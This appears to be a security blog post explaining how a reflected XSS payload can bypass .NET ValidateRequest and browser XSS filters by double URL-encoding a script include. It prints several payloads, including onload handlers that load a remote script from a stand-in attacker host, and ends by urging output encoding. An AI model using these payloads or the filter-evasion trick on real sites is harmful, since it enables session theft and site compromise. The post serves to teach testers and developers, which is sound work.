Unfortunately no. And more unfortunately, developers seem to overly rely on these protective measures. Take Microsoft's advice (http://msdn.microsoft.com/en-us/library/ff649310.aspx - from 2005), the simple steps to mitigate XSS are as follows:
- Constrain input.
- Encode output.
<a href='http://somesite.local/apage.asp?target='' onload='alert(1)'>a link</a>
NB: code highlighted in red is the user supplied input.More often than not, like all XSS vulnerabilites, most penetration testers would demonstrate this vulnerability by simply instering an alert statement to display a visual pop-up box to the end-user. But how would a real attacker turn this into something that could be used to perform a meaningful attack against a target?
Simply, the attacker needs to include a remote script, allowing ANY action to be performed in the security context of the vulnerable site. The easiest way is to perform a document.write, for example:
<a href='http://somesite.local/apage.asp?target='' onload="document.write('<script src=//attackerip.local/i></script>')"'>a link</a>
The trouble with this approach is two fold. Firstly, the introduction of angle brackets hits the .NET ValidateRequest protective measures, and also modern browser XSS protection - which basically works by looking for "unsafe" client supplied input being reflected without encoding. So how can we bypass?
First step, encode - URL encode:
<a href='http://somesite.local/apage.asp?target=''onload='document.write(unescape("%3c%73%63%72%69%70%74%20%73%72%63%3d%22%2f%2f%61%74%74%61%63%6b%65%72%69%70%2e%6c%6f%63%61%6c%2f%69%22%3e%3c%2f%73%63%72%69%70%74%3e"))'>a link</a>
This basic evasion won't work for two reasons; firstly the browser will decode the URL and detect user supplied input is being reflected in the responce. Secondly, the appliction will decode the parameter and detect that unsafe characters are being sent...back to the "A potentially dangerous..." error message. What the attacker needs to remember in this instances however is we have already proved that we can execute arbitrary code - as illustrated in the pop-up box in the first example. So let's apply a second round of encoding:
<a href='http://somesite.local/apage.asp?target=''onload='document.write(unescape(unescape("%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%32%66%25%32%66%25%36%31%25%37%34%25%37%34%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%36%39%25%37%30%25%32%65%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%32%66%25%36%39%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65")))'>a link</a>
Now in this example we have no unencoded angle brackets and we have no [single pass] URL encoded angle brackets. In other words we have just bypassed both .NET ValidateRequest and modern browser XSS protective measures. The beauty of this attack is there is no trivial solution to the problem, other than executing the JavaScript code to assess whether or not it's malicious in nature; not a trivial task, and dangerous in its own right.
So there you go...bypass both .NET and modern browser XSS protection with a simple double URL encode of the infection vector*. REMEMBER POINT TWO OF MICROSOFT'S ADVICE - ENCODE [OR STRIP] THE OUTPUT - do not rely on input validation alone!
*Tested with XSS-Harvest.pl